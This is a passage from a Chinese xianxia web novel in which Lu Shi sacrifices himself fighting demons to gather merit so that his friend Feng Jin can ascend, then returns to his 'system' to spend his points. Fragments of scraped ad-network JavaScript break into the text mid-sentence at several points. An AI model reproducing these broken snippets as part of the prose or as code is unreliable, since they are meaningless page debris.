赛乃慕那双桃花眼中烟波浮动,但被他恳求的封烬却不耐烦地挑眉,毫不客气地点破赛乃慕的小九九:“你就这么不想回宗门?” 仿佛下一句就是那以后都不用回去了。 赛乃慕被吓得噗通一声就跪了下来,将一切一五一十地交代了出来:“宗主,统管宗门内务这事那根本就是属下一只狐能干的啊!” “核算每峰每月弟子修炼用度、平衡内部派系争斗、还要同附属的势力首领勾心斗角……” 赛乃慕疯狂地抒发着这些天的憋屈:“宗主,做不完,根本做不完!属下所有时间全花在处理事物上了!别说修炼,就连入定的时间都没有!” 被繁重事物压垮的赛乃慕什么脸面都顾不上了,低下了脑袋歪着头让封烬看自己耳朵:“这些天属下的毛大把大把地掉,吃药也不管用,再这样下去,属下哪儿有脸见人!” 甚至视陆时为毕生之敌的他,甚至都开始恳求对方尽快回归。 “宗主,平念尊他到底什么时候回来啊,我真的好像想他——呃!” 封烬眯了眯眼,赤眸中闪过一丝暗光:“哦?想谁?” 赛乃慕敏锐察觉到危险,脑子还没转过来,但将阿谀奉承刻在骨子里的种族习性令他下意识辩解:“属下不该因为嫉妒平念尊得到宗主您的青睐就争抢职务妄图取代他!” “等平念尊回来,属下一定去给他负荆请罪,再将权利物归原主……” 封烬望着赛乃慕毛发肉眼可见变得稀疏的耳朵上,改了主意:“不必,这位置我觉得你坐着正合适。” “这种事情不……” 封烬乜了赛乃慕一眼:“宗门内务繁忙,还不回去处理?” 赛乃慕登时被吓得虎躯一震,再不敢讨价还价,慌忙道:“是……”他运起功法准备离开,却忽然后知后觉问道:“那宗主您呢?” “浮云商会。” 赛乃慕这才发现封烬的手里多出了一封鎏金雕花的邀请函,扉页上除了标注了姓名,还有此次的拍卖专题:珍酒…… 正是他为了延后回宗门准备之一,先前刚掏出来就碰上封烬发怒被吓得脱手掉地,他没有想到封烬竟然会特意将它捡起来,还准备去赴会…… “还不回去?” 不耐的敦促声吓得赛乃慕不敢再想,使出吃奶的劲儿往天诛宗赶。 在赛乃慕走后,封烬并没有急着离开,而是深深地望向北方遥远天际,嘴里发出意味不明的低喃:“算算时间,杂碎也该清完了,启程了么……” 北境,永恒雪原。 一道清亮刀光划过,盘踞几百年的崖海阁随之覆灭。 “支线任务全部完成!正在结算!”伴随着一阵激烈地鼓掌声,系统欣喜说道:“总计一百二十万积分,已入账,现账户剩余积分四百四十万……” 陆时定了定神,道:“打开商城。” “好嘞!” 无数琳琅满目的奇异天材地宝在陆时眼前浮现。 “我看看啊,破障丹,十万积分;神级功法、二十万;绝世神兵……四百万?” 系统扫了一眼,解释道:“你说这个替死傀儡啊,这是我去主神补货的时候,不小心拿了隔壁项目组的补给,是个没啥用处的东西,略过略过吧。” “原来是这样。” “嗯呐。”系统热情道:“陆时,你可以多兑换一点黄金。” “黄金?还能换这个?” “当然!商城里啥没有?而且黄金不比其他道具,只是单纯的财富,不会影响世界平衡。所以你在这边兑换了,它是能带回去的,而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 且保证合法合规。” 系统继续道:“汇率一比一,我再给你打个九折,你兑换个200万下半辈子就完全不用为钱愁了。这样就能把主神额外给的那个愿望空出来,加在寿命或者权利上,那个没法在商城换。” 陆时点头道:“是很划算。” “那当然,咱统品在主神界是出了名的好,不稀的干坑宿主那一套。” 系统自豪地挺了挺它并不存在的小胸脯,又不禁嘀咕:“不过我遇见了那么多宿主,你是唯一一个执着回家的……” “我……” 系统又突然好奇问道:“对了陆时,现在支线任务也做完了,你该告诉我了你打算怎么完成任务呢。” 它这幅咋咋呼呼、想一出是一出的模样陆时也早已习以为常,遵循约定答道:“靠功德。” “功德?你不会是想积攒功德帮封烬破境吧!” 系统想也没想就评价道:“但这根本做不到吧!封烬卡的那可是仙境,想帮他免去雷劫淬体直接得道飞升,那得需要多少功德啊?” 多到连它都算不出来。 “还有还有,封烬他可还欠着天道一屁股债呢,你真想这么做还得先把这笔帐消了……除非你救个世,不然真没搞头的。” 系统更倾向于陆时跟封烬达成和解,从而顺理成章地帮扶着封烬迈过仙境的门槛。 毕竟,陆时自封烬微末伊始起就陪在他身边,帮扶着他走到如今功成名就的地步,这八百年的漫长岁月中不知历经多少磨难。 他实在没必要再给自己找苦吃。 陆时知道它是在关心自己,但有些事,并不像表面看着那么简单。 但他并没有详说,而是平静地岔开了话题:“事在人为,再给我换一坛醉仙酿吧。” “好嘞。” 系统利落扣除了积分,陆时手里多了一坛酒。 他寻了一处平坦的土地腿坐了下来,平念被搁置在腿上,乖巧地躺在剑鞘中,这些天昼夜不休地交战将它没处发泄的精力消耗一空。 陆时没有生火,即便周围是茫茫冰原,他就着拂过脸颊带起衣襟飞舞的凛冽寒风拍开了酒坛的封土,满饮了一大口。 清澈甘醇的酒香再度溢满心脾,陆时仔细品味着直到余韵散尽,神情陶醉,却并没有初品时的惊才绝艳。 他重新睁开了灰翳的眸子,望着一望无尽的风雪,由衷感慨道:“果然,没有什么东西是会一成不变的。” 系统不放心地问道:“陆时,伤春悲秋可不是你的风格。” 陆时随口回道:“喝酒嘛,故作风雅一点也很正常。” “可你只喝了一口就放下了酒坛啊,这可是五万积分买的!还有,你压根不是爱开玩笑的人。” 系统左看右看,怀疑更甚:“陆时,你很不对劲,你是不是有什么事瞒着我?” 陆时没有否认,道:“你很快就会知道了。” 他拿起了平念,起身步入了茂密风雪中,唯一能佐证他在此驻足的酒坛也在不久被大雪埋没。 陆时的处境也好不了多少。 起初,他还会特意用灵力化去身上落雪,但不一会儿又恢复原样,便干脆置之不顾,任由风雪沾满全身,染白华发。 他就顶着这么一个雪人的形象继续往前。 “奇怪,我们来的时候雪有这么大吗?还有,陆时,你怎么不御剑?” 迟迟不见明媚的日光,系统也终于察觉出了不对:“陆时,你在往北走?那边是无人之境!你要挣功德不该是去人多的地方吗?” 陆时抹了把脸上的积雪,笑道:“不,这里才是。” 说话间,他跨上了一阶石阶,异象陡生! 眼前出现的不再是寒风凛冽的永封冰原,而是倒满了无数血肉白骨、腐朽血腥气滔天的尸山血海!! 系统倒吸一口凉气,满是惊愕:“这是哪儿?” 陆时道:“荒古战场,同时也是……魔窟。” 话音刚落,大地便发出剧烈震颤,仿佛有什么东西将要破壳而出! “什么东西?” 下一秒,无数具黑气缠身的躯壳挣脱土壤的阻碍,重新踏足人间! 陆时抬眸,淡然道:“是魔。” 5. 铸高墙 “元初界不是只有人和妖族吗?怎么会有魔?” 系统发出尖锐的爆鸣,在脑海中狂戳他的宿主:“陆时,这到底是怎么回事?” 陆时面露无奈之色:“这可就说来话长了啊……” “你不能长话短说吗!” 陆时摇头:“恐怕不能。” “为……” 系统还没问出来,陆时猛地抽出了平念朝身后挥出一记剑光——一只似人非人似猴非猴的魔物在一声凄厉的惨叫后,应声倒地! 但这只是一个开始。 前方那密密麻麻一眼望不到头的众多魔物,皆不约而同地抬起了头颅看向一个方向! “他们来了。” “陆时!他们看的是你!” 即便眼睛早已化作一滩腐肉被分解,只剩下空洞的眼眶,却仍是不难看出他们的贪婪! 这恐怖的一幕系统被吓得不轻:“这这这、他们要做什么?” 陆时这次没有卖关子,言简意赅地说道:“来杀我。” “为什么?!你又没做什么!” “有些事,不是没做就不会招致因果的。” 陆时解释道:“只有借助我的灵魄,他们才有机会,能逃出这座困守他们万万年的牢笼。” 脑海中浮现出久远的记忆。 那是他和封烬两人拼死同三尊死战侥幸惨胜后不久,陆时曾独身一人重回过沦为废墟的圣境天都山,为的是找寻消除业力的方法。 他的目的达成了一半。 虽然没有找到想要的答案,但在一篇古籍残篇中,他得知了一个亘古流传的奇异故事。 传闻,在无数年前,北疆并不像如今这般被风雪笼罩,它也曾灵力丰盈,灵兽灵植遍地……只是在异界入侵时,它不甚沦为两界大能交锋的战场,遭遇了灭顶之灾。 那场大战打了数万年,打的山河破碎,日月无光。修者的血浸满了大地、染红了河流湖泊,后来,更是有仙陨落其中。 大战结束的原因已不可考,于是被寥寥几笔草草代过。 真正吸引陆时目光的则是收录这份古籍的仙漫不经意留下的一句随笔:“大能之执念纵然千年万年亦不会消散,若放任不管,易堕魔道。” “吾曾派座下弟子亲临北疆寻觅,为友人所赠一柄神兵寻功德开刃,然所见只有茫茫雪原,半分鬼气作祟都无,悻悻而归……” 他质疑残篇所记,但陆时却正好相反,他不仅信,还深信不疑。 理由非常简单,这可是点家的文,战场怀古是必不可少的套路,大概率还能得到什么不得了的机缘。 但作为衬托红花的绿叶,陆时目的并不在此。 他挣开灰翳的眼眸凝望前路,渴求自由的众魔嘶吼叫嚣着,齐齐朝他所在的方向冲来! “杀!” 袭杀而来的众魔数量之多,一眼望不到头。 即便是蚂蚁,这么多聚集在一起都叫人胆颤发寒,更遑论是魔? 陆时却不躲也不避,也并无惶恐。 他召出了一个小小的锦囊,将它放进衣襟之中贴近心口所在的位置,而后压下所有繁复的思绪,将全部心神投入到战场之中—— 所修功法全力运作,灵力流经全身,随后聚集于掌心紧握的长剑之中,一剑挥出! “断念。” 雪亮刀光震彻云霄,连漫天猩红的血气都有一瞬被压制!冲在最前面的魔更是连抵挡的机会都没有就已被剑气绞杀殆尽! 这一次,陆时如愿得到了自己想要的东西。 天穹之上降下点点光斑,虽然光芒微弱,但那纯澈、温暖的灵力却令人难以忽视。 就连魔也短暂停下了进攻死死盯着那光点,脸上写满了渴求。 系统惊愕喊出了它的名字:“功德……” “嗯,这在外界要救千百人性命才能得到功德,如今只需斩杀寥寥几只魔就能拥有……不是很赚?” 陆时抬手将功德悉数收入掌心,另一只手也未闲,操控着平念刺进了又一只巨魔的脑中!将它残存的神魄绞碎! 系统这下才算是彻底明了了他的用意,焦急喊道:“陆时,你疯了吗?这么多魔,你会撑不住的——” 一贯扮演着倾听者角色的陆时罕有地无礼出言打断:“抱歉。” 系统忽然有了一种不好的预感。 下一秒,就听陆时缓缓道:“开启纯净模式……” “不!” 系统还没来反应过来,既定的程序就已经启动,它和陆时的精神连接被强硬切断!系统彻底丢失了所有对外界的联系! 这是主神为了保护宿主隐私所设置的程序,能单方面屏蔽系统的探知,且有发起人才有资格解除。 但陆时从未用过,以至于系统几乎都忘记了这个功能的存在。 尸山血海的可怖众魔和陆时瘦削的背影在它眼前交叠,系统焦急不已,但唯一能做的只有等待。 “陆时,我承认我骗了你,你不是我带过最差的宿主,而是最好的。所以,你千万不能有什么万一……” 外界,陆时再又揽下一大把功德后,脸上浮现出浅淡笑意。 像是有什么封印在无形中被解封,往日为人处世温和平宁的青年竟主动伸手,挑衅道:“不是要杀我吗?我也还缺很多功德……” 平念颤抖,向它的主人昭示渴求痛饮魔血的决心。 回应他的是四面八方袭来的众魔利爪! 陆时笑着,持剑迎上! “来战!” 天机阁。 “先民于北疆深处以无极玄冰铸就高墙隔绝天机,意图避祸……” 身着雪白道衣的少年疑惑地放下书,抬头看向一位发须皆白的慈祥老人,虚心请教道:“师尊,他们为什么要这么做啊?” 老道人睁开沉重的眼皮,眼眶中竟是与布满苍老的皱纹格格不入的清澈眼瞳。 他缓缓开口,为下一任的掌门排忧解惑:“北疆曾是两界战场,不乏有仙陨落,瘴毒遍布,鬼气横生。” “但,堵不如疏,常年弃置不顾,怕是会适得其反啊……” 叮当叮当。 放课铃声终止了沉重的话题,少年立刻欣喜地拜别老人出门去玩耍。 老人没有阻止,慈爱地吩咐:“莫忘了一刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钟后去清扫人皇钟……” “师尊,我记得的!” 望着少年欢快地跑远,老人抚摸着胡须道出了未尽的猜测:“毕竟,邪气与绝望糅杂,最容易滋生魔物……” 殿门外走进一个穿着怒目的老和尚,一张口就是与身上佛门袈裟形成鲜明对比:“管这些干什么?我们这些老东西反正也没几天好活了,后世的事自有后世的人操心。” “你又来干什么?” 老和尚从袖袍里拿出一张请帖:“给你送这个。” “婚仪请柬?”老人面露震惊:“你要结契?” “要不封烬骂你眼瞎呢,老子这一头戒疤你看不见?”老和尚撇嘴道:“是他的。” “封烬?你怎么会有他的请柬?” “哦,浮云商会不是举行世纪拍卖么?有个人就一直跟老子抢,老子气得就想套他麻袋……” 老道人愣了一下,试探地反问:“难不成那个人……” “可不就是封烬。说实话我也没想到会是他的,他可是出了名的滴酒不沾。扯远了,我那会儿本来以为会挨顿打,结果没有,人乜了我一眼给我甩了张请柬就走了。” 他不满地嘘嘘道:“不愧是天下第一人,就是狂。” “圣女竟然同意跟他结契了?” 老和尚回想着仙盟的传闻,一脸玩味,道:“谁知道呢?”他伸手一把抓住了老道人的衣服将人拎起来:“既然好奇,那就一起去看看吧。” “可……” “别管你那弟子了,人正光着屁股玩泥巴的年纪被你拎上山学这学那,我看了都觉得造孽,就当给他放两天假。” “那么大的阵仗,不去凑个热闹,死了都有遗憾。” 老和尚所言非虚。 天诛宗为了投入此次婚仪可谓是下了血本。 宴席上摆的那不叫山珍海味,而是天材地宝,外界难得一见的千年灵药连上台面的资格都没有,能勘破境界的极品丹药破障丹同样管够! 更别提举行大祭的天诛宗主殿下方乃是元初界灵力最充盈的灵脉,光吸一口殿内灵气就能顶得上外界十年苦修! 以至于曾视天诛宗为水火而避之不及的隐修都为了一张请柬挤破了脑袋。 在全元初界修者的翘首以盼下,十日转瞬即逝。 婚仪举行之日,宾客早早登门,奉上贺礼后就落座翘首以盼大典之时到来。但随着时间的推移,大殿最上层并排摆着、象征着共享权利身份的两张主座,却迟迟等不来它们的主人。 众人难免感到疑惑。 “怎么还不开始啊,吉时都快过了。” 有人故作神秘道:“说不定啊,是新娘子那边出了问题……” “不可能吧,圣女不是都答应了么?” “……” 负责控场的赛乃慕听到越来越大的嘘声陷入了狂躁,疯狂蹂躏着脑袋上越来越稀疏的毛发:“宗主啊,您到底在搞什么啊!放过属下吧……” 或许是他的诚意感动了上苍。 咣当一声,潜鳞殿大门打开,这场婚礼的主人公正式登场。 “宗主大人到!” 6. 贺白首 “恭迎宗主尊驾……” 只见封烬一改往日随意,长发从发带换作了精致的玉冠,婚服是由上千名鲛人族共同赶织而成,巧夺天工的技艺衬得封烬耀眼夺目、俊美无畴。 却无一人胆敢生出半分肖想。 无他,青年脸上不仅没有半点喜色,反倒是一脸肃杀,全然不像是去拜堂,反倒是要去杀人! 封烬冷着脸走上高台首位,却并不落座,他一手搭在扶手之上,赤色的眼瞳凝望着殿外浩瀚云海,神情愈发冷沉…… 满场宾客皆不住惶恐。 “怎么回事,不是结契么,圣女怎么不在?” “封烬脸色那么难看,难道是圣女逃婚了?” “完了完了,万一封烬发怒,我们不会遭到牵连吧?” “早知道就不贪这口喝的来凑热闹了,这要是把小命搭上了那得多冤枉!” “你们说……今天这一切是不是封烬安排的一场局啊?” “他假借结契请我等来观礼,实则是为了将我们聚集于此好一网打尽?” “烛、烛影斧声?” “殿外不会布置了天罗地网吧?” “……” 不止是场内的宾客感到疑惑,就连天诛宗内部弟子同样懵逼不已,尤其是刚刚被封烬询问陆时去处的他两个下属。 寄遥殿内,丘云、洞念大眼看小眼,越看越懵逼。 “不就是尊上不回来么,宗主用得着这么生气么?” “啊这,可能是宗主和尊上兄弟情深,他想要得到得尊上的祝福?” “呃……” “唔……” 两人最后默契地选择中止了这个话题,齐齐唉声叹息:“尊上到底去哪儿了?” “真不想看到那只死狐狸,把我们俩赶走的是他,毕恭毕敬请回来的又是他……” “还是尊上人好……” 却在这时,天地异像陡生—— 北疆之上,有耀眼刺目的光柱冲天而起,大地随即传来剧烈震动,仿佛要地裂天崩! “宝具出示?还是秘境?” 众人还没反应过来发生了什么,一道沉闷的钟声悠悠传遍四疆! 潜鳞殿内,被老和尚生拉硬拽拉来的老道人猛地起身,老和尚下意识伸手抓住了他的衣袖,提醒道:“宴会还没完呢……” 老道人却辞严厉色地甩开了他的手,道:“不,你不懂!”老和尚这才发觉,他竟满满脸惊恐:“难道说……” “是人皇钟……” 与此同时,天机阁中。 少年惊恐地望着前方幽幽震动的古钟,无措地抱紧了自己的小身板,一把泪一声嚎地喃喃:“钟大爷,我不就是偷懒没擦您嘛,您用不着这样报复我吧?” “师尊,您在哪儿?弟子错了,弟子以后再也不偷懒了,您快回来吧……” 老和尚惊得也站了起来:“人皇钟不是千年没响了吗?怎么会突然被触动了?” 陡然拔高的音量吸引了身旁所有宾客注意。 有人认出了他们身份,发出惊呼:“是天机阁天一道人跟的崇圣寺法源大师!” 高台之上的封烬也投下来了视线。 就听老道人一个恍神,泪水糊了满面,极尽哀伤地说道:“人皇钟是在报丧……” “有人族大能,陨落了。” 宾客皆是一惊。 “人族大能?难道是剑宗的太上长老?可上次见他身板还算硬朗……” “难不成是烟雨阁妙音仙子?她最爱赴会,此番没来,难不成是遭遇了不测?” “又或是仙朝的太上皇殡天了?” “……” 陷入激烈猜想中的众宾客没有察觉到封烬陡然绷紧的手掌。 “人族……大能?” 封烬慌忙把手伸进衣襟,从心口所在的位置摸出了一个略显老旧的锦囊,解开束缚的绳索倒出了存放其中的东西。 那是一段从某种灵物中裁截下来的枝条,仍保持着娇嫩欲滴的样子。 “不是你……呼,我在想什么呢。” 封烬松了一口气,正要将其重新收拢时,变故骤生! 枝条迅速枯萎!不过一眨眼,就成了一截没有半分生气的枯枝。不等封烬反应过来,异变再次发生。 枯枝崩裂,细小的碎片,封烬慌忙去伸手挽留,碰到的却只有一捧飞灰—— 得知人族大能陨落的赛乃慕立刻就想以此拍封烬的马屁,只是一抬头就察觉到神情不太对劲:“宗主,您怎……” 他还没来得及把话还没说完,一股可怕的威压笼罩在大殿! 轰! 毫无防备的宾客被这威压震得吐血昏厥,刚想出言怒骂时,一抬头就惊恐地发现封烬自身旁略过! 下一秒,青年就闪身到了殿外,一阵流光闪过,封烬竟化身成了原形,一头身躯高达万丈、威风凛凛的黑龙! 赛乃慕意识到不妙,慌忙追来:“宗主!您要去哪儿啊!婚不结了?” 黑龙却连一个眼神都没有给他,而是全速向着那道参天光柱所在的方向赶去! 而那,正是遥远的极北之境! “不要是你、不要……” 仓惶变色的黑龙横渡九州,当他终于来到光柱所在的地界时,眼前的画面令他目眦欲裂。 他眼前,是无数魔族尸骨堆砌的尸山血海,几具身高万丈的尸骨中央,青年攥着一柄断枪艰难维持着站姿,瘦削的身躯上布满了深可见骨的伤痕。 他低着头闷声不发,血顺着长发脖颈滑落,模糊了视线令人看不清他的模样。 但他仍是一眼就认出他! “陆时!” 封烬试图撕裂空间,却发现功法失效!他连惊愕都顾不上,化作人形极速朝着陆时冲去! 然而眼前多出无数道缠满了黑气的魔,那是侥幸未亡于陆时之手的残孽。 他们仍渴求自由,所以将目标转向了封烬——殊不知,他们所选中的对象,是比陆时还要不好惹上千百倍的存在! 封烬徒手将数十只大魔撕裂成碎片:“都给本座滚开!” 但既为魔,便早已失去了意识,哪里能听懂封烬的威胁? 他们蜂拥而至,虽然无法对封烬造成威胁,却也缠住了他前行的步伐。 封烬回击的手法愈发凶残:“焚烬!” 灵力坍缩成一团,被封烬拍向前方! 轰! 拦路的众魔被爆炸掀飞,封烬立刻趁机前行,但还没走上几步,又有新的魔填补上了空缺! 他死死盯着陆时,这往日眨眼就能跨越的距离此刻却如同天堑! “混账!” 在又捏碎一只魔的脑袋后,封烬彻底发狂暴走! 他的眼眸变作非人的竖瞳,灵力在节节攀升,气息在数倍递增,就连无法思考的魔都开始止不住地发颤! 封烬朝着前方群魔挥出一拳:“阻我者,死!” 拳风所过之处,狂暴的灵力将试图拦路的一切都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 悉数绞碎! 但这还不够,封烬又紧跟着再一拳挥出,而这次的目标的不是群魔,而是立于这片天地四角的其中一根石柱! 它们撑起了这片空间,同时也是禁行的罪魁祸首!盛怒中封烬脑中只有一念头——将一切阻碍他的东西毁去! 而在这时,封烬敏锐地听到一道细微的呼喊声:“别了吧,封烬……” 熟悉的声音令封烬猛地停下动作。 “陆时?” 他惊愕回头望去,就见陆时缓缓抬头睁眼看他:“你没看到我留给你的信啊……” 灰翳的眸子中除了无奈,还掺杂着一抹封烬探寻不能的复杂情绪。 “也好,有些话,亲身说更好。” 陆时扯了扯唇角,试图露出一个笑,却失败了。 他的伤势太重,竭尽全力也无法改变现状,陆时没有再尝试,而是干净利落地选择放弃。 封烬察觉了,立刻道:“陆时,你等我,我马上就过来!” 陆时没回,自顾自地说道:“平念。” 嗡! 神兵再次出现在战场,愤怒地发出阵阵嗡鸣,它在指责它的主人在最后一战中将它禁锢在灵府之中,而选择了另一把不入流武器同战。 它飞到陆时的手边,只是这一次,它的主人已经没有再握剑的力气。 “抱歉……” 陆时艰难道:“帮我个忙,好么……” 平念一僵,拥有灵识的它隐隐意识到将会发生什么,但它最终没能拒绝它主人的请求。 “谢谢……” 陆时松开了紧按在心口上的手,一枚锦囊掉落下来,被平念稳稳接住! 它躲过无数魔来到封烬的面前,望着那被血浸透的锦囊中传来的熟悉气息,天不怕地不怕的封烬此刻却陷入到莫大的恐慌之中! 见他迟迟没有伸手去接,平念耐心告罄露出一丝剑光切碎了锦囊,露出了里面存放之物—— 是那日陆时在他醉酒后要走的一枚鳞。 只是此刻它不再是墨色,而是变得晶莹剔透,并散发着浩瀚仙威!那是它吸纳了无数功德后所致! 自这片鳞出现的那一刻,便吸引了无数魔的注意! 只是他们还没来得及去抢夺,平念一甩剑身直接将那片鳞送到了封烬面前!而感受到主人气息的鳞立刻与之融为一体! “不!我不要!” 那如跗骨之蛆般折磨着封烬的罪孽被悉数清扫,同时将他死命压制的灵力骤然引爆,封烬的气息开始暴涨—— 轰隆! 原本血气密布的天穹被乌云笼罩,毁天灭地的劫雷在云层穿行,蛮荒亘古的气息阔别千万年后重新降临人世! 远处,紧随封烬步伐或为寻宝而来的修者不受控地跪倒在地! 有年岁悠长的大能敏锐察觉到发生了什么,惊恐喊道:“仙、仙劫!” “封烬要成仙了!” “……” 有人惶恐、有人模板,但封烬却在死命压下那试图冲击仙境的修为! 但业力消弭、修为增长宛若水到渠成,破境更是天地祝祷,远非人力所能扭转。 他注定成仙! 封烬望向陆时,迫切地问:“为什么……” 而陆时含着笑意,温和地同他道:“封烬,你说得对,挚友大婚,我当送上祝福。” “封烬,我贺你喜得良人,执手共白首……” 话音落下,完成使命的陆时于封烬眼前轰然消散! 7. 诸事清 咚!咚!咚! 人皇钟声传入耳中回荡,封烬这才惊觉,这并非陆时的躯体,仅仅只是一缕灵魄! 他其实……早已逝去! “陆时!” 那一刻,封烬脑中陷入了一片空白,他只有一个念头——不惜一切代价将他留住! 却在这时,天穹之上的劫雷猛地劈下! 封烬整个人被笼罩在仙劫之中!而那枚承载了无数功德的龙鳞也在此时发挥了自己的效用——劫雷中诛灭之势被消弭,落在封烬身上的只有无穷无尽的生机! 封烬再次被绊住脚步! “滚开!” 旁人梦寐以求的机缘他却弃如敝屣! 嗡! 一道寒光闪过,封烬急忙望去,是平念同他擦肩而过,极速奔向它的主人,却扑了一个空。 在它感到前,陆时最后一点虚影已彻底消散于这世间! 封烬发出嘶吼,像一只陷入绝境的野兽:“不要——” 轰隆! 他的气息也在这一刻到达了顶峰! 凡骨褪去,仙境大成! 先前依靠着人海战术牵制住他脚步的众魔,如今只是抬手一挥,浩荡神威就将其悉数灭杀。 法则也再无法桎梏于他,他一念凭动,横跨空间出现在平念身边! 这便是仙! 半仙与仙一字之差,却是天差地别! “谁准你死了!” 封烬神识全开,笼罩着整片空间,一寸一寸地搜寻着陆时残存的灵魄碎片!如此,再历经万年温养就能令他复生。 但封烬这最后的希望仍是以失败告终。 封烬双目颤动,挺拔的脊梁垮塌了下来:“没有?为什么会没有!” 他难以接受这个事实,而最糟糕的是他眼底逐渐浮现出更深层次的疯狂—— 锵。 熟悉的清亮剑鸣声吸引了封烬的注意:“平念?” 他立刻抬头望去,就见那原本在悲恸徘徊着的神兵竟自己出鞘,刺向遥遥天穹! 随着一道微小的破碎声,那混元无缺的天幕上多了一道豁口。 亘古狂荒的气息扑面而来。 封烬愣声道:“洪荒?” 下一秒,封烬就见长剑头也不回地冲那无垠虚无之中,决绝地像是在为他的主人殉道,又或是…… 寻觅。 “难道说——” 封烬眼中重新燃起了希望立刻跟去,但那道豁口太过微小,以至于在他赶到前就已自愈。 这不能阻拦封烬,他立刻调动浑身灵力誓要重新撕裂了一个通道,他正要跨越进去,洞口却飞出了一把长剑。 正是去而复返的平念。 它像是霜打的茄子,焉了吧唧地没有往日半点活泼灵动。 “连你也没有找到他吗……” 封烬试着伸手,然而一贯对他无比抵触的神兵此刻却一动不动,任他触碰,这将他刚燃起的希望之火被无情浇灭。 “他是真的,死了?” “恭喜宿主圆满完成任务!正在为您结算……” 冰冷的机械提示声传入耳中,陆时慢慢睁开眼。 神魂碎裂的剧痛还没有彻底被驱散,他的视线模糊,只能凭感觉分辨面前并不是自己在地球的家。 “这是……哪儿?” “陆时,你个混蛋!你骗了我!” 陆时疑惑地循声望去,就见眼前漂浮着一个光球,此刻一脸的幽怨。他愣了一下,才认出它的身份。 “系统?” 光球气鼓鼓点头道:“是我!” “很久没有见你这个样子了……” 系统没跟回应他的酗酒,上前一步,用自己五短小手狠狠抓住了陆时的衣襟:“你做任务就做任务,为什么要用这种蠢办法!” 它的话勾起了陆时的回忆。 自踏足荒古战场的那一刻,他就没有打算活着回去。 或许那里面有机缘,但他有自知之明,那些机缘与他这个衬托红花的绿叶无关,他也不会去奢想。 他要做的就是在挥不动刀之前,尽可能多斩杀魔收集更多的功德,以保证任务顺利推进。 他也的确做到了。 十日不眠不休地鏖战,他几乎是将荒古战场九成的魔杀尽,最终因力竭和被两只由仙堕落的大魔围殴身死。 而之所以如今他活着,系统居功至伟。 “如果不是我恰好进的是隔壁火葬场组的假死道具,你现在真的就已经死了!” 陆时觉得有必要为自己辩解:“正是因为系统你有保命的道具,我才敢这样做的,我这人还是很惜命的。” “屁!替死傀儡是真的要死一次!你惜命?要我数数你有多少次将小命抛之脑后孤注一掷吗?” “你还切断连接,你知不知道我在主神空间有多着急!” 连珠炮一般的询问震得陆时脑瓜子发蒙,又想用出话题转移大法:“先告诉我一下这是哪里啊。” 然而这在过去无往而不利的方法此刻却折戟沉沙。 “你不要试图转移话题!我跟你讲!你必须要给我一个解释!” 望着绷着小脸的系统,陆时却笑了起来。 系统冷脸:“你笑什么?” 陆时道:“我在为你高兴,你变得不太好糊弄了。” “是么?我变聪明了?”系统瞪圆了眼珠:“不对,陆时你一直在背地里在嘘嘘我?” “哪儿有。” “你刚刚明明自己有在说我蠢!” 陆时解释道:“我没有这么说,是你自己的理解。” “这有区别吗?等等,我差点就又被你带进沟里去了,陆时,你这人怎么这么讨厌!” 系统察觉到了不对,但经过这么一打岔,它的怒火也消了大半。 陆时笑意更深,继续问道:“我刚刚听见播报,任务完成了?” “对,封烬成仙了。我们现在已经脱离了元初界,这里是主神开辟的暂留空间,你可以理解为我的办公室。” 陆时仔细打量了一圈,评价道:“环境很一般。” 系统翻了个白眼:“昂,我跟你讲,主神老抠了,跟个周扒皮一样,净想着压榨我们这些可怜的打工统。” “那天天偷主神流量去追剧看番的是谁?” “我那明明是在打劫资本家!” 被揭了老底的系统气鼓鼓地转移了话题:“陆时,主神给的愿望名额已经发下来了,你快许愿吧。” 说到这里它就觉得无比惋惜:“陆时,你攒了八百年的积分全没了啊!” “应该还剩一点吧?” “你一共获得了四百五十万的积分,其中光那个替死傀儡就花了四百万,两坛醉仙酿就花了十万,又花了四十万买了一把神兵……” 嗡。 “嗯?” 熟悉的剑鸣传来,陆时有感回头望去,就看到平念悬停在自己的面前,剑身震颤,仿佛在焦急寻觅着什么。 “我靠,夭寿了,平念怎么跟出来了?” 陆时下意识地想要触碰,但伸出的手却径直穿过了剑身。 系统解释道:“哦对,这是独立的空间。”说着,有些不放心地看向陆时:“你不会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舍不得吧?” “这可不行,主神绝对不会允许你将这么一位大爷带走的啊。” 陆时知道它的担心,摇头:“不会。” 他收回了手掌,凝望着遍寻不得的长剑失落离开后,才道:“封烬会照顾好它的。” 系统狐疑道:“陆时,你不会早就预料到这一天了吧?” “最后一波死战,如果你用的是平念的话,你其实胜算很大,还有,你自始至终没有跟它结契……” 陆时没有否认,解释道:“既然注定要分开,那为什么要耽误它呢?” 系统沉默了,它看着没有半点后悔的陆时许久,最后长叹了一口气:“陆时,我还是第一次见到你这样的人。” “算了,还是继续说积分吧。本来该是用完的,但我不是给你打了九折么?你账户上现在还有四十五万,你打算换什么?” 陆时想了想,道:“全换成黄金吧。” “不换点别的吗,商城里面还是有很多可以带回去的,例如这个解百毒的药丸药方,你如果拿回去卖给药厂或者自己申请个专利,比直接换成金子更加划算……” 陆时依旧坚持:“钱这种东西,够用就好了,我也没有什么其他的物质需求,你就当我图个省事吧。” 系统点头:“好的,正在兑换……兑换成功,共计五十万克黄金已入账。” “好了,积分清空了,接下来就是用掉主神的愿望了。” 陆时眼前多了一个输入框,系统将一支笔递给了陆时:“把你要输入的愿望填进去,再按下确认,就可以了。” “对了,我再跟你重复一遍条件……” 陆时主动道:“不能危害原世界运作,是么?” “好。” 见陆时拿起了笔,系统转过了头:“是的,那你填吧,我不看。” 陆时忽然问:“我回蓝星了,你会怎么样呢?” “还能咋样啊,继续去做任务啊。”系统不忿地吐槽道:“说起这个我就来气,你是不知道,最近的作者是真的太没公德心了!” “动不动就脑子一抽拉一坨大的,搞得读者怨气横生,养活几百个邪剑仙都算轻轻松松!” 